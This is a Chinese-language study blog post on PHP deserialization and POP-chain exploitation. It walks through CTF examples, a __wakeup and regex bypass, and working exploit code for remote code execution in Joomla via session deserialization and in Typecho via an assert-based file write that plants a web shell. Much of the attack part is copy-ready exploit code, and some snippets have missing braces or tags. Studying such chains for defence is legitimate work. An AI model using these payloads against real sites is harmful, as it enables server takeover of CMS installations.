一直是知道php也有反序列化漏洞,但是从来没有跟进学习过,这次的typecho前台getshell在安全圈引起了比较大的关注,也很早就看了一遍鹿神的分析文章,但奈何没有学习过pop,看地一头雾水,这两天看到了几篇不错的文章,就拿来学习学习。这里贴出链接,为了防止侵权只总结我收获到的重点。
http://www.blogsir.com.cn/safe/452.html
https://cl0und.github.io/2017/10/01/POP%E9%93%BE%E5%AD%A6%E4%B9%A0/
http://www.blogsir.com.cn/safe/454.html
http://godot.win/index.php/archives/11/
https://paper.seebug.org/424/
总结
面向属性编程(Property-Oriented Programing)与二进制利用中的面向返回编程(Return-Oriented Programing)原理相似,都是从现有的指令和代码中根据需求构成连续的调用链。
POP 链的构造是寻找程序中已经定义了或者能够动态加载的对象中的属性(函数方法),将一些可能的调用组合在一起形成一个完整的、具有目的性的操作。
序列化一个对象将会保存对象的所有变量,但是不会保存对象的方法,只会保存类的名字。它只是保存对象(不是类)的变量,不保存对象的方法,因此其实反序列化的主要危害在于我们可以控制对象的变量来改变程序执行流程从而达到我们最终的目的
我们无法控制对象的方法来调用只能去找一些可以自动调用的一些魔术方法
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__destruct() //对象被销毁时触发
__call() //在对象上下文中调用不可访问的方法时触发
__callStatic() //在静态上下文中调用不可访问的方法时触发
__get() //用于从不可访问的属性读取数据
__set() //用于将数据写入不可访问的属性
__isset() //在不可访问的属性上调用isset()或empty()触发
__unset() //在不可访问的属性上使用unset()时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
构造pop链的过程即是不断寻找可以自动调用函数的地方直到找到可以调用危险函数的地方
挖掘思路:
1.反序列化且可控的点
2.反序列化类有魔术方法
之后分为两种情况:
1.魔术方法里有危险操作
2.魔术方法里无危险操作,但是通过属性(对象)调用了一些函数,恰巧在其他的类中有同名的函数(pop链)
实践:
0x01
代码详见:http://www.cnblogs.com/iamstudy/articles/php_object_injection_pop_chain.html
通过一个很简单的案例用来理解,首先unserialize这里get[d]可控,在lemon类中我们可以看到程序的本意是通过构造函数实例化nomal类,然后输出hello。看到这里有个魔术方法__destruct,在对象销毁的时候触发,但是这个魔术方法并没有危险行为,观察到在evil类中也有同名的action方法。这样就能通过构造pop链来执行恶意的行为了。
exp:
class lemon{
protected $ClassObj;
function __construct(){
$this->ClassObj = new evil();
}//需要通过构造函数来进行evil的实例化。
class evil{
private $data = "phpinfo();";
}
echo serialize(new lemon());
?>
然后传递输出结果到参数d就能够拿到phpinfo了
0x02
代码详见:http://www.cnblogs.com/iamstudy/articles/php_unserialize_pop_2.html
这段代码有四段unserialize函数,分别在GET[cmd]、class conn的getlyrics方法以及class user的addlyrics和getlyrics方法中。
get[cmd]可控,然后寻找魔术方法,在class Lyrics的function __destruct()中看到进入class Song的log函数,而这里没有危险操作,看到class Logger中有同名函数,在这个log函数中可以进入class LogWriter_File的writeLog方法,在其中进行了写文件的操作。至此pop链形成。exp如下:
class Lyrics{
protected $Lyrics = 'shutdown_r';
protected $song;
function __construct(){
$this->song = new Logger();
}
}
class Logger{
protected $logwriter;
function __construct(){
$this->logwriter = new LogWriter_File();
}
}
class LogWriter_File{
protected $filename = 'wwh.php';
protected $format;
function __construct(){
$this->format = new LogFileFormat();
}
}
class LogFileFormat{
protected $wwh;
protected $filters;
protected $endl = '\n';
function __construct(){
$this->wwh = new OutputFilter();
$this->filters = array($this->wwh);
}
}
class OutputFilter{
protected $matchPattern = '//';
protected $replacement = '';
}
echo urlencode(serialize(new Lyrics()));
?>
0x03
代码详见:http://bobao.360.cn/learning/detail/3020.html
原文提到,通过第一段代码和标注可以清晰地认识到。。。。(ps:我认识不到啊TAT)
大意就是通过属性创建时产生异常导致属性正常创建而__wakeup()不被调用直接return0,析构函数依旧会执行。
一个php底层的bug,抱着才疏学浅不求甚解的态度,继续看一个实例:
http://www.cnblogs.com/Mrsm1th/p/6835592.html
三个不同类型(私有,公有,保护)但是值相同的字符串,序列化输出的值不相同
private $test1="hello"; \00test\00test1
public $test2="hello"; test2
protected $test3="hello"; \00*\00test3
这道ctf题需要绕过两点:
1.正则匹配/[oc]:\d+:/i
2.__wakeup魔术方法
对于第一点,我们用加号进行绕过,第二点我们通过使成员属性数目大于实际数目进行绕过
最终的exp:
class sercet{
private $file = 'wwh.php';
}
$str = serialize(new sercet());echo $str.'这里是换行符';
$sub = substr($str, 0,2).'+'.substr($str,2,11).'3'.substr($str, 14);echo $sub.'这里是换行符';
echo base64_encode($sub);
?>
0x04
P神的joomla分析:
https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html
背景知识:
一、https://github.com/80vul/phpcodz/blob/master/research/pch-013.md
总结而言就是存取 $_SESSION 数据时序列化和反序列化所使用的处理器不同,造成安全问题。
一般而言就是序列化时用php_serialize处理器,反序列化时用php处理器,其格式键名+竖线+序列化处理值引入了注入点。
两种情况:
1.是session.auto_start=On
在这种情况下,会忽略脚本中的的session.serialize_handler设置,自动注册session会话,在脚本中一般是销毁这个会话后再按照session.serialize_handler设置来注册。这样如果脚本中session.serialize_handler为php_serialize处理器,而php.ini设置的是php处理器,那么在第一次访问脚本的时候,使用了脚本的设置序列化,第二次访问脚本的时候,会先按照php.ini的设置反序列化数据,这样引入了注入点。
2.session.auto_start=Off
这种情况下就是序列化和反序列化时使用的session.serialize_handler设置不同而引入注入点。
二、https://www.leavesongs.com/HTML/wordpress-4-1-stored-xss.html
这里的原理就是通过利用MYSQL的一个特性,当我们将一个4字节的UTF8字符插入mysql时,mysql将会视之为utf8mb4编码,当将utf8mb4编码的字符插入到UTF8编码的列中,在非strict mode下就会造成一个截断。
插入数据库的时候利用""(%F0%9D%8C%86)字符将utf-8的字段截断。
这里在解析session反序列化时,截断后序列化出的结果出现长度不一致的情况,导致第一个竖线的反序列化失败,放弃这次反序列化,而当前指针还在我们的第二个竖线之前,继续解析,解析到第二个竖线,将字符串分割为前后两个部分,反序列化后面的部分,导致之后恶意操作的执行。
三、底层分析:http://bobao.360.cn/learning/detail/2501.html
漏洞分析:
问题出在以下两个地方libraries/joomla/session/session.php
引入了XFF和UA,用户可控。
这里是写入数据库的过程,途中标记的地方是程序将null*null改成\0\0\0,否则mull写不进数据库,null也写不进http头部。
(joomla这里快要卡两三天了,xdebug在这里打断点直接崩溃,然后也没有找到session.serialize_handler这个设置,就跟写一遍P神的exp吧)
http://blog.nsfocus.net/joomla-deserialization-vulnerability-leak-filled/
这篇文章说实际上joomla并没有自己设置处理器,而是使用php默认的处理器,这个问题也就是php默认session处理器的问题。
作者是通过class JDatabaseDriverMysqli的__destruct()方法调用disconnect()方法,在disconnect方法中有call_user_func_array,但是这里第二个参数不可控,于是在这里调用class SimplePie的init方法,利用init方法中的call_user_func来执行命令。call_user_func($this->cache_name_function, $this->feed_url)两个参数都可控
$this->feed_url这里的payload作者设置成为了phpinfo();JFactory::getConfig();exit;
好多拿shell的exp也跟着作者写JFactory::getConfig();exit;但是如果是不需要回显的话JFactory::getConfig();exit;完全没有必要,就算是有回显也只需要JFactory::getConfig();就行。虽然我这么说,但是我实际上不知道为什么回显需要JFactory::getConfig();这个方法(我的xdebug配置出了点问题,调试完全跟不进去。。。)
只能判断出来如果是phpinfo();的话if ($this->cache && $parsed_feed_url['scheme'] !== '')这个判断句过不了,也就是$parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);这里出了问题,但是没办法调试,不知道具体的问题。
经过手工测试,发现并不需要JFactory::getConfig(),我们只需要在后面跟上a::a就能够得到回显
最终$this->feed_url需要是phpinfo();a::a
作者exp:
class JSimplepieFactory {
}
class JDatabaseDriverMysql {
}
class SimplePie {
var $sanitize;
var $cache;
var $cache_name_function;
var $javascript;
var $feed_url;
function __construct()
{
$this->feed_url = "phpinfo();JFactory::getConfig();exit;";//这里推荐使用$this->feed_url = "phpinfo();a::a";
$this->javascript = 9999;
$this->cache_name_function = "assert";
$this->sanitize = new JDatabaseDriverMysql();
$this->cache = true;
}
}
class JDatabaseDriverMysqli {
protected $a;
protected $disconnectHandlers;
protected $connection;
function __construct()
{
$this->a = new JSimplepieFactory();
$x = new SimplePie();
$this->connection = 1;
$this->disconnectHandlers = [
[$x, "init"],
];
}
}
$a = new JDatabaseDriverMysqli();
$a = serialize($a);
$a = str_replace(chr(0) . '*' . chr(0),'\0\0\0', $a);//这里加上了作者exp里面没有的字符替换
echo $a;
?>
0x05
typecho 远程代码执行漏洞
在分析过程中遇到的一个问题就是在__get()这个魔术方法里,之前不太理解$item['author']->screenName怎么会调用__get(),然后自己测试了一番:
发现只要不是public的属性,就算属性没有定义也都走__get()魔术方法。
这里给出我自己的exp:
class Typecho_Request{
private $_params = array('screenName'=>'fputs(fopen(\'./usr/themes/default/img/c.php\',\'w\'),\'\')');
private $_filter = array('assert');
}
class Typecho_Feed{
private $_type ='RSS 2.0';
private $_items = array();
function __construct(){
$this->_items[0] = array('author'=> new Typecho_Request);
}
}
$pop = new Typecho_Feed();
$exp = array();
$exp['adapter'] = $pop;
$exp['prefix'] = 'shutdown_r';
echo base64_encode(serialize($exp));
?>
但是上面这个exp没办法得到回显原因在
https://paper.seebug.org/424/
这里已经解释清楚了
想要得到回显需要:
1、通过设置数组来控制第二次执行的函数,然后找一处exit跳出
2、在命令执行之后,想办法造成一个报错,语句报错就会强制停止